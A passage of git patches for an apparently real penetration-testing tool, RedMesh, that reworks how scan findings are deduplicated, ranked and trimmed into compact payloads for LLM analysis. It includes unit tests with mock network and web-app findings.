self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + host = MockHost() + aggregated_report = { + "nr_open_ports": 2, + "ports_scanned": 100, + "open_ports": [22, 443], + "scan_metrics": {"total_duration": 45.0}, + "service_info": { + "22": { + "port": 22, + "protocol": "ssh", + "service": "ssh", + "product": "OpenSSH", + "version": "9.6", + "banner": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15", + "findings": [{ + "severity": "HIGH", + "title": "SSH weak key exchange", + "evidence": "Weak KEX offered: diffie-hellman-group14-sha1", + "port": 22, + "protocol": "ssh", + }], + }, + }, + "correlation_findings": [{ + "severity": "CRITICAL", + "title": "Redis unauthenticated access", + "evidence": "Response: +PONG", + "port": 6379, + "protocol": "redis", + }], + "port_banners": {"22": "x" * 5000}, + "worker_activity": [{"id": "node-a", "start_port": 1, "end_port": 5000, "open_ports": [22, 443]}], + } + job_config = {"target": "10.0.0.1", "scan_type": "network", "run_mode": "SINGLEPASS", "start_port": 1, "end_port": 8000} + + payload = host._build_llm_analysis_payload("job-1", aggregated_report, job_config, "security_assessment") + + self.assertIn("metadata", payload) + self.assertIn("services", payload) + self.assertIn("top_findings", payload) + self.assertIn("findings_summary", payload) + self.assertNotIn("port_banners", payload) + self.assertEqual(payload["metadata"]["job_id"], "job-1") + self.assertEqual(payload["findings_summary"]["total_findings"], 2) + + def test_run_aggregated_llm_analysis_uses_shaped_payload(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + self.captured = None + + def P(self, *_args, **_kwargs): + return None + + def Pd(self, *_args, **_kwargs): + return None + + def _auto_analyze_report(self, job_id, report, target, scan_type="network", analysis_type=None): + self.captured = report + return {"content": "ok"} + + host = MockHost() + aggregated_report = { + "nr_open_ports": 1, + "ports_scanned": 10, + "open_ports": [22], + "service_info": {"22": {"port": 22, "protocol": "ssh", "service": "ssh", "findings": []}}, + "port_banners": {"22": "y" * 2000}, + } + job_config = {"target": "10.0.0.1", "scan_type": "network", "run_mode": "SINGLEPASS", "start_port": 1, "end_port": 100} + + result = host._run_aggregated_llm_analysis("job-1", aggregated_report, job_config) + + self.assertEqual(result, "ok") + self.assertIsNotNone(host.captured) + self.assertIn("metadata", host.captured) + self.assertNotIn("port_banners", host.captured) + def test_call_llm_agent_api_retries_transient_connection_error(self): from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin From cbdd1984c982e9383d79ecb1c4ce8ec730932476 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 16:37:03 +0000 Subject: [PATCH 110/114] feat(redmesh): trim llm findings payloads --- .../cybersec/red_mesh/mixins/llm_agent.py | 142 +++++++++++++++--- .../cybersec/red_mesh/tests/test_hardening.py | 105 +++++++++++++ 2 files changed, 227 insertions(+), 20 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 3391cf0d..0ed0c9ed 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -20,8 +20,19 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): _NON_RETRYABLE_PROVIDER_STATUSES = _NON_RETRYABLE_HTTP_STATUSES _LLM_EVIDENCE_MAX_CHARS = 240 _LLM_BANNER_MAX_CHARS = 120 -_LLM_SERVICE_LIMIT = 40 -_LLM_TOP_FINDINGS_LIMIT = 80 +_LLM_PAYLOAD_LIMITS = { + "security_assessment": {"services": 25, "findings": 40, "evidence_chars": 220, "open_ports": 40}, + "quick_summary": {"services": 12, "findings": 12, "evidence_chars": 140, "open_ports": 20}, + "vulnerability_summary": {"services": 20, "findings": 30, "evidence_chars": 180, "open_ports": 30}, + "remediation_plan": {"services": 18, "findings": 24, "evidence_chars": 180, "open_ports": 30}, +} +_LLM_FINDING_BUCKETS = { + "security_assessment": {"CRITICAL": 16, "HIGH": 14, "MEDIUM": 8, "LOW": 2, "INFO": 0, "UNKNOWN": 0}, + "quick_summary": {"CRITICAL": 6, "HIGH": 4, "MEDIUM": 2, "LOW": 0, "INFO": 0, "UNKNOWN": 0}, + "vulnerability_summary": {"CRITICAL": 12, "HIGH": 10, "MEDIUM": 6, "LOW": 2, "INFO": 0, "UNKNOWN": 0}, + "remediation_plan": {"CRITICAL": 10, "HIGH": 8, "MEDIUM": 4, "LOW": 2, "INFO": 0, "UNKNOWN": 0}, +} +_LLM_SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4, "UNKNOWN": 5} class _RedMeshLlmAgentMixin(object): @@ -89,6 +100,49 @@ def _extract_report_findings(self, report: dict) -> list[dict]: return findings + def _get_llm_payload_limits(self, analysis_type: str) -> dict: + return dict(_LLM_PAYLOAD_LIMITS.get(analysis_type, _LLM_PAYLOAD_LIMITS["security_assessment"])) + + @staticmethod + def _llm_finding_key(finding: dict) -> tuple: + return ( + str(finding.get("severity") or "").upper(), + str(finding.get("title") or "").strip().lower(), + finding.get("port"), + str(finding.get("protocol") or "").strip().lower(), + ) + + def _deduplicate_findings(self, findings: list[dict]) -> list[dict]: + deduped = [] + seen = set() + for finding in findings: + if not isinstance(finding, dict): + continue + key = self._llm_finding_key(finding) + if key in seen: + continue + seen.add(key) + deduped.append(finding) + return deduped + + def _rank_findings(self, findings: list[dict]) -> list[dict]: + def _finding_sort_key(finding): + severity = str(finding.get("severity") or "UNKNOWN").upper() + cve = 0 if (finding.get("cve_id") or finding.get("cve") or "CVE-" in str(finding.get("title") or "").upper()) else 1 + port = finding.get("port") + try: + port = int(port) + except (TypeError, ValueError): + port = 0 + return ( + _LLM_SEVERITY_ORDER.get(severity, _LLM_SEVERITY_ORDER["UNKNOWN"]), + cve, + -port, + str(finding.get("title") or ""), + ) + + return sorted(findings, key=_finding_sort_key) + def _build_llm_metadata(self, job_id: str, target: str, scan_type: str, job_config: dict) -> dict: metadata = { "job_id": job_id, @@ -106,11 +160,14 @@ def _build_llm_metadata(self, job_id: str, target: str, scan_type: str, job_conf metadata["enabled_features_count"] = len(job_config.get("enabled_features", []) or []) return metadata - def _build_network_service_summary(self, aggregated_report: dict) -> list[dict]: + def _build_network_service_summary(self, aggregated_report: dict, analysis_type: str) -> tuple[list[dict], dict]: services = [] service_info = aggregated_report.get("service_info") if not isinstance(service_info, dict): - return services + return services, {"included_services": 0, "total_services": 0} + + limits = self._get_llm_payload_limits(analysis_type) + total_services = len(service_info) for raw_port, raw_entry in sorted(service_info.items(), key=lambda item: int(item[0]) if str(item[0]).isdigit() else str(item[0])): if not isinstance(raw_entry, dict): @@ -131,16 +188,27 @@ def _build_network_service_summary(self, aggregated_report: dict) -> list[dict]: if isinstance(finding, dict) and finding.get("title") ] services.append(entry) - if len(services) >= _LLM_SERVICE_LIMIT: + if len(services) >= limits["services"]: break - return services + return services, {"included_services": len(services), "total_services": total_services} - def _build_llm_top_findings(self, aggregated_report: dict) -> list[dict]: + def _build_llm_top_findings(self, aggregated_report: dict, analysis_type: str) -> tuple[list[dict], dict]: findings = self._extract_report_findings(aggregated_report) + total_findings = len(findings) + deduped = self._deduplicate_findings(findings) + ranked = self._rank_findings(deduped) + limits = self._get_llm_payload_limits(analysis_type) + bucket_limits = _LLM_FINDING_BUCKETS.get(analysis_type, _LLM_FINDING_BUCKETS["security_assessment"]) + included_by_severity = {} compact = [] - for finding in findings[:_LLM_TOP_FINDINGS_LIMIT]: + for finding in ranked: + severity = str(finding.get("severity") or "UNKNOWN").upper() + allowed = bucket_limits.get(severity, 0) + current = included_by_severity.get(severity, 0) + if current >= allowed: + continue compact.append({ - "severity": finding.get("severity"), + "severity": severity, "title": self._llm_trim_text(finding.get("title", ""), 160), "port": finding.get("port"), "protocol": finding.get("protocol"), @@ -148,12 +216,21 @@ def _build_llm_top_findings(self, aggregated_report: dict) -> list[dict]: "cve": finding.get("cve_id") or finding.get("cve"), "cwe": finding.get("cwe_id"), "owasp": finding.get("owasp_id"), - "evidence": self._llm_trim_text(finding.get("evidence", ""), _LLM_EVIDENCE_MAX_CHARS), + "evidence": self._llm_trim_text(finding.get("evidence", ""), limits["evidence_chars"]), }) - return compact + included_by_severity[severity] = current + 1 + if len(compact) >= limits["findings"]: + break + return compact, { + "total_findings": total_findings, + "deduplicated_findings": len(deduped), + "included_findings": len(compact), + "included_by_severity": included_by_severity, + "truncated_findings_count": max(len(deduped) - len(compact), 0), + } def _build_llm_findings_summary(self, aggregated_report: dict) -> dict: - findings = self._extract_report_findings(aggregated_report) + findings = self._deduplicate_findings(self._extract_report_findings(aggregated_report)) counts = {} for finding in findings: severity = str(finding.get("severity") or "UNKNOWN").upper() @@ -163,13 +240,14 @@ def _build_llm_findings_summary(self, aggregated_report: dict) -> dict: "by_severity": counts, } - def _build_llm_coverage_summary(self, aggregated_report: dict) -> dict: + def _build_llm_coverage_summary(self, aggregated_report: dict, analysis_type: str) -> dict: open_ports = aggregated_report.get("open_ports") or [] worker_activity = aggregated_report.get("worker_activity") or [] + limits = self._get_llm_payload_limits(analysis_type) return { "ports_scanned": aggregated_report.get("ports_scanned"), "open_ports_count": len(open_ports), - "open_ports_sample": list(open_ports[:40]), + "open_ports_sample": list(open_ports[:limits["open_ports"]]), "workers": [ { "id": worker.get("id"), @@ -182,10 +260,31 @@ def _build_llm_coverage_summary(self, aggregated_report: dict) -> dict: ], } + def _build_attack_surface_summary(self, services: list[dict], findings_summary: dict) -> dict: + exposed = [] + for service in services[:10]: + exposed.append({ + "port": service.get("port"), + "protocol": service.get("protocol"), + "service": service.get("service"), + "product": service.get("product"), + "finding_count": service.get("finding_count", 0), + }) + return { + "exposed_services": exposed, + "critical_or_high_findings": ( + findings_summary.get("by_severity", {}).get("CRITICAL", 0) + + findings_summary.get("by_severity", {}).get("HIGH", 0) + ), + } + def _build_llm_analysis_payload(self, job_id: str, aggregated_report: dict, job_config: dict, analysis_type: str) -> dict: scan_type = job_config.get("scan_type", "network") target = job_config.get("target_url") if scan_type == "webapp" else job_config.get("target", "unknown") if scan_type != "webapp": + services, service_meta = self._build_network_service_summary(aggregated_report, analysis_type) + top_findings, finding_meta = self._build_llm_top_findings(aggregated_report, analysis_type) + findings_summary = self._build_llm_findings_summary(aggregated_report) return { "metadata": self._build_llm_metadata(job_id, target, scan_type, job_config), "stats": { @@ -194,14 +293,17 @@ def _build_llm_analysis_payload(self, job_id: str, aggregated_report: dict, job_ "scan_metrics": aggregated_report.get("scan_metrics"), "analysis_type": analysis_type, }, - "services": self._build_network_service_summary(aggregated_report), - "top_findings": self._build_llm_top_findings(aggregated_report), - "coverage": self._build_llm_coverage_summary(aggregated_report), + "services": services, + "top_findings": top_findings, + "coverage": self._build_llm_coverage_summary(aggregated_report, analysis_type), + "attack_surface": self._build_attack_surface_summary(services, findings_summary), "truncation": { - "service_limit": _LLM_SERVICE_LIMIT, - "finding_limit": _LLM_TOP_FINDINGS_LIMIT, + "service_limit": self._get_llm_payload_limits(analysis_type)["services"], + "finding_limit": self._get_llm_payload_limits(analysis_type)["findings"], + **service_meta, + **finding_meta, }, - "findings_summary": self._build_llm_findings_summary(aggregated_report), + "findings_summary": findings_summary, } report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index b327d1ed..299c5013 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -182,6 +182,111 @@ def _auto_analyze_report(self, job_id, report, target, scan_type="network", anal self.assertIn("metadata", host.captured) self.assertNotIn("port_banners", host.captured) + def test_build_llm_analysis_payload_deduplicates_and_tracks_truncation(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + host = MockHost() + aggregated_report = { + "nr_open_ports": 3, + "ports_scanned": 200, + "open_ports": [22, 80, 443], + "service_info": { + "22": { + "port": 22, + "protocol": "ssh", + "service": "ssh", + "findings": [ + { + "severity": "HIGH", + "title": "SSH weak key exchange", + "evidence": "Weak KEX offered: diffie-hellman-group14-sha1", + "port": 22, + "protocol": "ssh", + }, + { + "severity": "HIGH", + "title": "SSH weak key exchange", + "evidence": "Duplicate evidence should be collapsed", + "port": 22, + "protocol": "ssh", + }, + ], + }, + }, + "correlation_findings": [ + { + "severity": "CRITICAL", + "title": f"Critical issue {idx}", + "evidence": "x" * 1000, + "port": 443, + "protocol": "tcp", + } + for idx in range(20) + ], + "worker_activity": [{"id": "node-a", "start_port": 1, "end_port": 5000, "open_ports": [22, 80, 443]}], + } + job_config = {"target": "10.0.0.1", "scan_type": "network", "run_mode": "SINGLEPASS", "start_port": 1, "end_port": 8000} + + payload = host._build_llm_analysis_payload("job-2", aggregated_report, job_config, "security_assessment") + + self.assertLessEqual(len(payload["top_findings"]), 40) + self.assertEqual(payload["findings_summary"]["total_findings"], 21) + self.assertEqual(payload["truncation"]["deduplicated_findings"], 21) + self.assertEqual(payload["truncation"]["included_by_severity"]["CRITICAL"], 16) + self.assertGreater(payload["truncation"]["truncated_findings_count"], 0) + self.assertTrue(all(len(finding["evidence"]) <= 220 for finding in payload["top_findings"])) + + def test_quick_summary_payload_is_smaller_than_security_assessment(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + host = MockHost() + aggregated_report = { + "nr_open_ports": 50, + "ports_scanned": 1000, + "open_ports": list(range(1, 51)), + "service_info": { + str(port): { + "port": port, + "protocol": "tcp", + "service": f"svc-{port}", + "findings": [{ + "severity": "HIGH" if port % 2 == 0 else "MEDIUM", + "title": f"Finding {port}", + "evidence": "e" * 400, + "port": port, + "protocol": "tcp", + }], + } + for port in range(1, 31) + }, + "worker_activity": [{"id": "node-a", "start_port": 1, "end_port": 1000, "open_ports": list(range(1, 51))}], + } + job_config = {"target": "10.0.0.2", "scan_type": "network", "run_mode": "SINGLEPASS", "start_port": 1, "end_port": 1000} + + security_payload = host._build_llm_analysis_payload("job-sec", aggregated_report, job_config, "security_assessment") + quick_payload = host._build_llm_analysis_payload("job-quick", aggregated_report, job_config, "quick_summary") + + self.assertGreater(len(security_payload["services"]), len(quick_payload["services"])) + self.assertGreater(len(security_payload["top_findings"]), len(quick_payload["top_findings"])) + self.assertGreater( + len(security_payload["coverage"]["open_ports_sample"]), + len(quick_payload["coverage"]["open_ports_sample"]), + ) + self.assertEqual(quick_payload["truncation"]["service_limit"], 12) + self.assertEqual(quick_payload["truncation"]["finding_limit"], 12) + def test_call_llm_agent_api_retries_transient_connection_error(self): from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin From c3b11b39a439c21ea9a2ae6a0d113a78ce8c1531 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 16:39:37 +0000 Subject: [PATCH 111/114] feat(redmesh): compact webapp llm payloads --- .../cybersec/red_mesh/mixins/llm_agent.py | 184 +++++++++++++++++- .../cybersec/red_mesh/tests/test_hardening.py | 109 +++++++++++ 2 files changed, 290 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 0ed0c9ed..c3ac5e6c 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -97,6 +97,24 @@ def _extract_report_findings(self, report: dict) -> list[dict]: nested = web_entry.get("findings") if isinstance(nested, list): findings.extend(item for item in nested if isinstance(item, dict)) + for method_entry in web_entry.values(): + if not isinstance(method_entry, dict): + continue + nested = method_entry.get("findings") + if isinstance(nested, list): + findings.extend(item for item in nested if isinstance(item, dict)) + + graybox_results = report.get("graybox_results") + if isinstance(graybox_results, dict): + for probe_map in graybox_results.values(): + if not isinstance(probe_map, dict): + continue + for probe_entry in probe_map.values(): + if not isinstance(probe_entry, dict): + continue + nested = probe_entry.get("findings") + if isinstance(nested, list): + findings.extend(item for item in nested if isinstance(item, dict)) return findings @@ -278,6 +296,145 @@ def _build_attack_surface_summary(self, services: list[dict], findings_summary: ), } + def _build_webapp_route_summary(self, aggregated_report: dict, job_config: dict, analysis_type: str) -> dict: + limits = self._get_llm_payload_limits(analysis_type) + routes = [] + forms = [] + seen_routes = set() + seen_forms = set() + + for route in job_config.get("app_routes", []) or []: + if not route or route in seen_routes: + continue + seen_routes.add(route) + routes.append(route) + + service_info = aggregated_report.get("service_info") + if isinstance(service_info, dict): + for port_entry in service_info.values(): + if not isinstance(port_entry, dict): + continue + for method_name, method_entry in port_entry.items(): + if not isinstance(method_entry, dict): + continue + if not str(method_name).startswith("_graybox_discovery"): + continue + for route in method_entry.get("routes", []) or []: + if not route or route in seen_routes: + continue + seen_routes.add(route) + routes.append(route) + for form in method_entry.get("forms", []) or []: + if not isinstance(form, dict): + continue + form_key = (form.get("action"), str(form.get("method") or "GET").upper()) + if form_key in seen_forms: + continue + seen_forms.add(form_key) + forms.append({ + "action": form.get("action"), + "method": str(form.get("method") or "GET").upper(), + }) + + route_limit = limits["services"] + form_limit = max(6, min(12, limits["services"])) + return { + "routes_sample": routes[:route_limit], + "forms_sample": forms[:form_limit], + "total_routes": len(routes), + "total_forms": len(forms), + "route_limit": route_limit, + "form_limit": form_limit, + } + + def _build_webapp_probe_summary(self, aggregated_report: dict, analysis_type: str) -> dict: + limits = self._get_llm_payload_limits(analysis_type) + probe_counts = {} + graybox_results = aggregated_report.get("graybox_results") + if isinstance(graybox_results, dict): + for probe_map in graybox_results.values(): + if not isinstance(probe_map, dict): + continue + for probe_name, probe_entry in probe_map.items(): + if not isinstance(probe_entry, dict): + continue + count = len([finding for finding in probe_entry.get("findings", []) if isinstance(finding, dict)]) + probe_counts[probe_name] = probe_counts.get(probe_name, 0) + count + + web_tests_info = aggregated_report.get("web_tests_info") + if isinstance(web_tests_info, dict): + for test_map in web_tests_info.values(): + if not isinstance(test_map, dict): + continue + for test_name, test_entry in test_map.items(): + if not isinstance(test_entry, dict): + continue + count = len([finding for finding in test_entry.get("findings", []) if isinstance(finding, dict)]) + probe_counts[test_name] = probe_counts.get(test_name, 0) + count + + ranked = sorted(probe_counts.items(), key=lambda item: (-item[1], item[0])) + return { + "top_probes": [ + {"probe": probe_name, "finding_count": count} + for probe_name, count in ranked[:limits["services"]] + ], + "total_probes": len(probe_counts), + } + + def _build_webapp_findings_summary(self, aggregated_report: dict) -> dict: + findings = self._deduplicate_findings(self._extract_report_findings(aggregated_report)) + severity_counts = {} + status_counts = {} + owasp_counts = {} + vulnerable_titles = [] + seen_titles = set() + + for finding in findings: + severity = str(finding.get("severity") or "UNKNOWN").upper() + status = str(finding.get("status") or "unknown").lower() + owasp = str(finding.get("owasp_id") or finding.get("owasp") or "").strip() + title = str(finding.get("title") or "").strip() + severity_counts[severity] = severity_counts.get(severity, 0) + 1 + status_counts[status] = status_counts.get(status, 0) + 1 + if owasp: + owasp_counts[owasp] = owasp_counts.get(owasp, 0) + 1 + if status == "vulnerable" and title and title not in seen_titles: + seen_titles.add(title) + vulnerable_titles.append(title) + + top_owasp = sorted(owasp_counts.items(), key=lambda item: (-item[1], item[0])) + return { + "total_findings": len(findings), + "by_severity": severity_counts, + "by_status": status_counts, + "top_owasp_categories": [ + {"category": category, "count": count} + for category, count in top_owasp[:6] + ], + "top_vulnerable_titles": vulnerable_titles[:8], + } + + def _build_webapp_coverage_summary(self, aggregated_report: dict, job_config: dict, analysis_type: str) -> dict: + route_summary = self._build_webapp_route_summary(aggregated_report, job_config, analysis_type) + scan_metrics = aggregated_report.get("scan_metrics") or {} + scenario_stats = aggregated_report.get("scenario_stats") or scan_metrics.get("scenario_stats") or {} + return { + "routes": route_summary, + "scan_metrics": scan_metrics, + "scenario_stats": scenario_stats, + "completed_tests": list(aggregated_report.get("completed_tests") or []), + } + + def _build_webapp_attack_surface_summary(self, aggregated_report: dict, findings_summary: dict, analysis_type: str) -> dict: + route_summary = self._build_webapp_route_summary(aggregated_report, {}, analysis_type) + return { + "route_count": route_summary["total_routes"], + "form_count": route_summary["total_forms"], + "vulnerable_scenarios": findings_summary.get("by_status", {}).get("vulnerable", 0), + "inconclusive_scenarios": findings_summary.get("by_status", {}).get("inconclusive", 0), + "top_owasp_categories": findings_summary.get("top_owasp_categories", []), + } + def _build_llm_analysis_payload(self, job_id: str, aggregated_report: dict, job_config: dict, analysis_type: str) -> dict: scan_type = job_config.get("scan_type", "network") target = job_config.get("target_url") if scan_type == "webapp" else job_config.get("target", "unknown") @@ -306,9 +463,30 @@ def _build_llm_analysis_payload(self, job_id: str, aggregated_report: dict, job_ "findings_summary": findings_summary, } - report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - report_with_meta["_job_metadata"] = self._build_llm_metadata(job_id, target, scan_type, job_config) - return report_with_meta + top_findings, finding_meta = self._build_llm_top_findings(aggregated_report, analysis_type) + findings_summary = self._build_webapp_findings_summary(aggregated_report) + probe_summary = self._build_webapp_probe_summary(aggregated_report, analysis_type) + coverage = self._build_webapp_coverage_summary(aggregated_report, job_config, analysis_type) + return { + "metadata": self._build_llm_metadata(job_id, target, scan_type, job_config), + "stats": { + "analysis_type": analysis_type, + "scan_metrics": aggregated_report.get("scan_metrics"), + "scenario_stats": aggregated_report.get("scenario_stats"), + }, + "top_findings": top_findings, + "findings_summary": findings_summary, + "probe_summary": probe_summary, + "coverage": coverage, + "attack_surface": self._build_webapp_attack_surface_summary(aggregated_report, findings_summary, analysis_type), + "truncation": { + "finding_limit": self._get_llm_payload_limits(analysis_type)["findings"], + **finding_meta, + "route_limit": coverage["routes"]["route_limit"], + "form_limit": coverage["routes"]["form_limit"], + "probe_limit": self._get_llm_payload_limits(analysis_type)["services"], + }, + } def _maybe_resolve_llm_agent_from_semaphore(self): """ diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index 299c5013..1bd13278 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -287,6 +287,115 @@ def __init__(self): self.assertEqual(quick_payload["truncation"]["service_limit"], 12) self.assertEqual(quick_payload["truncation"]["finding_limit"], 12) + def test_extract_report_findings_includes_graybox_results(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + host = MockHost() + findings = host._extract_report_findings({ + "graybox_results": { + "443": { + "_graybox_authz": { + "findings": [{"scenario_id": "S-1", "title": "IDOR", "severity": "HIGH", "status": "vulnerable"}], + }, + }, + }, + }) + + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0]["scenario_id"], "S-1") + + def test_build_llm_analysis_payload_webapp_is_compact_and_structured(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + host = MockHost() + aggregated_report = { + "scan_metrics": {"scenarios_total": 3, "scenarios_vulnerable": 1}, + "scenario_stats": {"vulnerable": 1, "not_vulnerable": 1, "inconclusive": 1}, + "service_info": { + "443": { + "_graybox_discovery": { + "routes": ["/login", "/admin", "/login"], + "forms": [ + {"action": "/login", "method": "post"}, + {"action": "/admin", "method": "post"}, + ], + }, + }, + }, + "graybox_results": { + "443": { + "_graybox_authz": { + "findings": [ + { + "scenario_id": "PT-A01-01", + "title": "IDOR on records endpoint", + "status": "vulnerable", + "severity": "HIGH", + "owasp_id": "A01:2021", + "evidence": "GET /api/records/2 returned 200 for regular user", + }, + { + "scenario_id": "PT-A01-01", + "title": "IDOR on records endpoint", + "status": "vulnerable", + "severity": "HIGH", + "owasp_id": "A01:2021", + "evidence": "Duplicate evidence should be collapsed", + }, + ], + }, + }, + }, + "web_tests_info": { + "443": { + "_web_test_xss": { + "findings": [ + { + "scenario_id": "PT-A03-02", + "title": "Reflected XSS in search", + "status": "inconclusive", + "severity": "MEDIUM", + "owasp_id": "A03:2021", + "evidence": "Payload reflected in response body", + }, + ], + }, + }, + }, + "completed_tests": ["graybox_discovery", "_graybox_authz", "_web_test_xss"], + } + job_config = { + "target_url": "https://app.example.test", + "scan_type": "webapp", + "run_mode": "SINGLEPASS", + "app_routes": ["/seeded-route"], + "excluded_features": ["_graybox_stateful"], + } + + payload = host._build_llm_analysis_payload("job-web", aggregated_report, job_config, "security_assessment") + + self.assertEqual(payload["metadata"]["scan_type"], "webapp") + self.assertIn("probe_summary", payload) + self.assertIn("coverage", payload) + self.assertIn("attack_surface", payload) + self.assertNotIn("graybox_results", payload) + self.assertEqual(payload["findings_summary"]["total_findings"], 2) + self.assertEqual(payload["findings_summary"]["by_status"]["vulnerable"], 1) + self.assertEqual(payload["coverage"]["routes"]["total_routes"], 3) + self.assertEqual(payload["probe_summary"]["top_probes"][0]["probe"], "_graybox_authz") + def test_call_llm_agent_api_retries_transient_connection_error(self): from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin From 3475df3db7eaff3c6e64420feb686fc90e233c91 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 16:41:37 +0000 Subject: [PATCH 112/114] feat(redmesh): track llm payload shaping stats --- .../cybersec/red_mesh/mixins/llm_agent.py | 40 +++++++++++++++++++ .../cybersec/red_mesh/tests/test_hardening.py | 26 ++++++++++++ 2 files changed, 66 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index c3ac5e6c..94fcde3f 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -10,6 +10,7 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): """ import requests +import json from typing import Optional from ..constants import RUN_MODE_SINGLEPASS @@ -121,6 +122,38 @@ def _extract_report_findings(self, report: dict) -> list[dict]: def _get_llm_payload_limits(self, analysis_type: str) -> dict: return dict(_LLM_PAYLOAD_LIMITS.get(analysis_type, _LLM_PAYLOAD_LIMITS["security_assessment"])) + def _estimate_llm_payload_size(self, payload: dict) -> int: + try: + return len(json.dumps(payload, sort_keys=True, default=str)) + except Exception: + return len(str(payload)) + + def _record_llm_payload_stats(self, job_id: str, analysis_type: str, raw_report: dict, shaped_payload: dict): + truncation = shaped_payload.get("truncation", {}) if isinstance(shaped_payload, dict) else {} + stats = { + "job_id": job_id, + "analysis_type": analysis_type, + "raw_bytes": self._estimate_llm_payload_size(raw_report), + "shaped_bytes": self._estimate_llm_payload_size(shaped_payload), + "truncation": truncation, + } + reduction = stats["raw_bytes"] - stats["shaped_bytes"] + stats["reduction_bytes"] = reduction + stats["reduction_ratio"] = round((reduction / stats["raw_bytes"]), 4) if stats["raw_bytes"] else 0.0 + self._last_llm_payload_stats = stats + self.Pd( + "LLM payload shaping stats for job {} [{}]: raw={}B shaped={}B reduction={}B ({:.1%}) truncation={}".format( + job_id, + analysis_type, + stats["raw_bytes"], + stats["shaped_bytes"], + reduction, + stats["reduction_ratio"], + truncation, + ) + ) + return stats + @staticmethod def _llm_finding_key(finding: dict) -> tuple: return ( @@ -818,6 +851,12 @@ def _run_aggregated_llm_analysis( job_config, self._get_llm_agent_config()["AUTO_ANALYSIS_TYPE"], ) + self._record_llm_payload_stats( + job_id, + self._get_llm_agent_config()["AUTO_ANALYSIS_TYPE"], + aggregated_report, + report_with_meta, + ) # Call LLM analysis llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target, scan_type=scan_type) @@ -875,6 +914,7 @@ def _run_quick_summary_analysis( job_config, "quick_summary", ) + self._record_llm_payload_stats(job_id, "quick_summary", aggregated_report, report_with_meta) # Call LLM analysis with quick_summary type analysis_result = self._call_llm_agent_api( diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index 1bd13278..7a4ccbe6 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ 